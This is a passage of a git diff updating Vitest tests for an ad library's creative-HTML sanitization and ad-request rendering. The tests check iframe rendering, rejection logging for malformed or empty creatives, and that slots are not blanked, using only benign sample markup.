+    expect(sanitization.kind).toBe('accepted');
+  });
+
+  it('rejects malformed non-string creative HTML', async () => {
+    const { sanitizeCreativeHtml } = await import('../../src/core/render');
+    const sanitization = sanitizeCreativeHtml({ html: '<div>bad</div>' });
+
+    expect(sanitization).toEqual(
+      expect.objectContaining({
+        kind: 'rejected',
+        rejectionReason: 'invalid-creative-html',
+      })
+    );
+  });
+
+  it('rejects creatives that sanitize to empty markup', async () => {
+    const { sanitizeCreativeHtml } = await import('../../src/core/render');
+    const sanitization = sanitizeCreativeHtml('   ');
+
+    expect(sanitization).toEqual(
+      expect.objectContaining({
+        kind: 'rejected',
+        rejectionReason: 'empty-after-sanitize',
+      })
+    );
   });
 });
diff --git a/crates/js/lib/test/core/request.test.ts b/crates/js/lib/test/core/request.test.ts
index 635c2c79..0518f938 100644
--- a/crates/js/lib/test/core/request.test.ts
+++ b/crates/js/lib/test/core/request.test.ts
@@ -1,9 +1,21 @@
-import { describe, it, expect, beforeEach, vi } from 'vitest';
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
+
+async function flushRequestAds(): Promise<void> {
+  await new Promise((resolve) => setTimeout(resolve, 0));
+}
 
 describe('request.requestAds', () => {
+  let originalFetch: typeof globalThis.fetch;
+
   beforeEach(async () => {
     await vi.resetModules();
     document.body.innerHTML = '';
+    originalFetch = globalThis.fetch;
+  });
+
+  afterEach(() => {
+    globalThis.fetch = originalFetch;
+    vi.restoreAllMocks();
   });
 
   it('sends fetch and renders creatives via iframe from response', async () => {
@@ -14,19 +26,25 @@ describe('request.requestAds', () => {
       status: 200,
       headers: { get: () => 'application/json' },
       json: async () => ({
-        seatbid: [{ bid: [{ impid: 'slot1', adm: creativeHtml }] }],
+        seatbid: [
+          {
+            seat: 'trusted-server',
+            bid: [{ impid: 'slot1', adm: creativeHtml, crid: 'creative-1' }],
+          },
+        ],
       }),
     });
 
     const { addAdUnits } = await import('../../src/core/registry');
+    const { log } = await import('../../src/core/log');
     const { requestAds } = await import('../../src/core/request');
+    const infoSpy = vi.spyOn(log, 'info').mockImplementation(() => undefined);
 
     document.body.innerHTML = '<div id="slot1"></div>';
     addAdUnits({ code: 'slot1', mediaTypes: { banner: { sizes: [[300, 250]] } } } as any);
 
     requestAds();
-    // Flush microtasks — sendAuction has fetch → .json() → parse chain
-    await new Promise((r) => setTimeout(r, 0));
+    await flushRequestAds();
 
     expect((globalThis as any).fetch).toHaveBeenCalled();
 
@@ -34,6 +52,19 @@ describe('request.requestAds', () => {
     const iframe = document.querySelector('#slot1 iframe') as HTMLIFrameElement | null;
     expect(iframe).toBeTruthy();
     expect(iframe!.srcdoc).toContain(creativeHtml);
+
+    const renderCall = infoSpy.mock.calls.find(
+      ([message]) => message === 'renderCreativeInline: rendered'
+    );
+    expect(renderCall?.[1]).toEqual(
+      expect.objectContaining({
+        slotId: 'slot1',
+        seat: 'trusted-server',
+        creativeId: 'creative-1',
+        originalLength: creativeHtml.length,
+        sanitizedLength: creativeHtml.length,
+      })
+    );
   });
 
   it('does not render on non-JSON response', async () => {
@@ -51,7 +82,7 @@ describe('request.requestAds', () => {
     addAdUnits({ code: 'slot1', mediaTypes: { banner: { sizes: [[300, 250]] } } } as any);
 
     requestAds();
-    await new Promise((r) => setTimeout(r, 0));
+    await flushRequestAds();
 
     expect((globalThis as any).fetch).toHaveBeenCalled();
     expect(document.querySelector('iframe')).toBeNull();
@@ -67,7 +98,7 @@ describe('request.requestAds', () => {
     addAdUnits({ code: 'slot1', mediaTypes: { banner: { sizes: [[300, 250]] } } } as any);
 
     requestAds();
-    await new Promise((r) => setTimeout(r, 0));
+    await flushRequestAds();
 
     expect((globalThis as any).fetch).toHaveBeenCalled();
     expect(document.querySelector('iframe')).toBeNull();
@@ -81,7 +112,12 @@ describe('request.requestAds', () => {
       status: 200,
       headers: { get: () => 'application/json' },
       json: async () => ({
-        seatbid: [{ bid: [{ impid: 'slot1', adm: creativeHtml }] }],
+        seatbid: [
+          {
+            seat: 'trusted-server',
+            bid: [{ impid: 'slot1', adm: creativeHtml, crid: 'creative-2' }],
+          },
+        ],
       }),
     });
 
@@ -97,13 +133,168 @@ describe('request.requestAds', () => {
     addAdUnits({ code: 'slot1', mediaTypes: { banner: { sizes: [[300, 250]] } } } as any);
     requestAds();
 
-    // Flush microtasks — sendAuction has fetch → .json() → parse chain
-    await new Promise((r) => setTimeout(r, 0));
+    await flushRequestAds();
 
     // Verify iframe was inserted with creative HTML in srcdoc
     const iframe = document.querySelector('#slot1 iframe') as HTMLIFrameElement | null;
     expect(iframe).toBeTruthy();
-    expect(iframe!.srcdoc).toContain(creativeHtml);
+    expect(iframe!.srcdoc).toContain('<img src="/first-party/proxy?tsurl=...">');
+    expect(iframe!.srcdoc).toContain('Ad');
+  });
+
+  it('renders creatives with safe URI markup', async () => {
+    const creativeHtml =
+      '<a href="mailto:test@example.com">Contact</a><img src="https://example.com/ad.png" alt="ad">';
+    (globalThis as any).fetch = vi.fn().mockResolvedValue({
+      ok: true,
+      status: 200,
+      headers: { get: () => 'application/json' },
+      json: async () => ({
+        seatbid: [
+          {
+            seat: 'trusted-server',
+            bid: [{ impid: 'slot1', adm: creativeHtml, crid: 'creative-safe-uri' }],
+          },
+        ],
+      }),
+    });
+
+    const { addAdUnits } = await import('../../src/core/registry');
+    const { requestAds } = await import('../../src/core/request');
+
+    document.body.innerHTML = '<div id="slot1"></div>';
+    addAdUnits({ code: 'slot1', mediaTypes: { banner: { sizes: [[300, 250]] } } } as any);
+
+    requestAds();
+    await flushRequestAds();
+
+    const iframe = document.querySelector('#slot1 iframe') as HTMLIFrameElement | null;
+    expect(iframe).toBeTruthy();
+    expect(iframe!.srcdoc).toContain('mailto:test@example.com');
+    expect(iframe!.srcdoc).toContain('https://example.com/ad.png');
+  });
+
+  it('rejects malformed non-string creative HTML without blanking the slot', async () => {
+    (globalThis as any).fetch = vi.fn().mockResolvedValue({
+      ok: true,
+      status: 200,
+      headers: { get: () => 'application/json' },
+      json: async () => ({
+        seatbid: [
+          {
+            seat: 'appnexus',
+            bid: [{ impid: 'slot1', adm: { html: '<div>bad</div>' }, crid: 'creative-invalid' }],
+          },
+        ],
+      }),
+    });
+
+    const { addAdUnits } = await import('../../src/core/registry');
+    const { log } = await import('../../src/core/log');
+    const { requestAds } = await import('../../src/core/request');
+    const warnSpy = vi.spyOn(log, 'warn').mockImplementation(() => undefined);
+
+    document.body.innerHTML = '<div id="slot1"><span>existing</span></div>';
+    addAdUnits({ code: 'slot1', mediaTypes: { banner: { sizes: [[300, 250]] } } } as any);
+
+    requestAds();
+    await flushRequestAds();
+
+    expect(document.querySelector('#slot1 iframe')).toBeNull();
+    // Invalid-type rejection must not blank existing slot content.
+    expect(document.querySelector('#slot1')?.innerHTML).toBe('<span>existing</span>');
+
+    const rejectionCall = warnSpy.mock.calls.find(
+      ([message]) => message === 'renderCreativeInline: rejected creative'
+    );
+    expect(rejectionCall?.[1]).toEqual(
+      expect.objectContaining({
+        slotId: 'slot1',
+        seat: 'appnexus',
+        creativeId: 'creative-invalid',
+        rejectionReason: 'invalid-creative-html',
+      })
+    );
+    expect(JSON.stringify(rejectionCall)).not.toContain('[object Object]');
+  });
+
+  it('does not blank the slot when a later bid for the same slot is rejected', async () => {
+    // Regression: multi-bid scenario where a rejected bid must not erase an earlier
+    // successful render into the same slot.
+    const goodCreative = '<div>Safe Ad</div>';
+    (globalThis as any).fetch = vi.fn().mockResolvedValue({
+      ok: true,
+      status: 200,
+      headers: { get: () => 'application/json' },
+      json: async () => ({
+        seatbid: [
+          {
+            seat: 'seat-a',
+            bid: [{ impid: 'slot1', adm: goodCreative, crid: 'creative-good' }],
+          },
+          {
+            // Non-string adm is rejected client-side as invalid-creative-html.
+            seat: 'seat-b',
+            bid: [{ impid: 'slot1', adm: { html: '<div>bad</div>' }, crid: 'creative-bad' }],
+          },
+        ],
+      }),
+    });
+
+    const { addAdUnits } = await import('../../src/core/registry');
+    const { requestAds } = await import('../../src/core/request');
+
+    document.body.innerHTML = '<div id="slot1"></div>';
+    addAdUnits({ code: 'slot1', mediaTypes: { banner: { sizes: [[300, 250]] } } } as any);
+
+    requestAds();
+    await flushRequestAds();
+
+    // The good creative should have rendered; the bad one should not have blanked it.
+    const iframe = document.querySelector('#slot1 iframe') as HTMLIFrameElement | null;
+    expect(iframe).toBeTruthy();
+    expect(iframe!.srcdoc).toContain(goodCreative);
+  });
+
+  it('rejects creatives that sanitize to empty markup', async () => {
+    (globalThis as any).fetch = vi.fn().mockResolvedValue({
+      ok: true,
+      status: 200,
+      headers: { get: () => 'application/json' },
+      json: async () => ({
+        seatbid: [
+          {
+            seat: 'appnexus',
+            bid: [{ impid: 'slot1', adm: '   ', crid: 'creative-empty' }],
+          },
+        ],
+      }),
+    });
+
+    const { addAdUnits } = await import('../../src/core/registry');
+    const { log } = await import('../../src/core/log');
+    const { requestAds } = await import('../../src/core/request');
+    const warnSpy = vi.spyOn(log, 'warn').mockImplementation(() => undefined);
+
+    document.body.innerHTML = '<div id="slot1"></div>';
+    addAdUnits({ code: 'slot1', mediaTypes: { banner: { sizes: [[300, 250]] } } } as any);
+
+    requestAds();
+    await flushRequestAds();
+
+    expect(document.querySelector('#slot1 iframe')).toBeNull();
+
+    const rejectionCall = warnSpy.mock.calls.find(
+      ([message]) => message === 'renderCreativeInline: rejected creative'
+    );
+    expect(rejectionCall?.[1]).toEqual(
+      expect.objectContaining({
+        slotId: 'slot1',
+        seat: 'appnexus',
+        creativeId: 'creative-empty',
+        rejectionReason: 'empty-after-sanitize',
+      })
+    );
   });
 
   it('skips iframe insertion when slot is missing', async () => {
@@ -127,7 +318,7 @@ describe('request.requestAds', () => {
     addAdUnits({ code: 'missing-slot', mediaTypes: { banner: { sizes: [[300, 250]] } } } as any);
     requestAds();
 
-    await new Promise((r) => setTimeout(r, 0));
+    await flushRequestAds();
 
     // No iframe should be inserted because the slot isn't present in DOM
     const iframe = document.querySelector('iframe');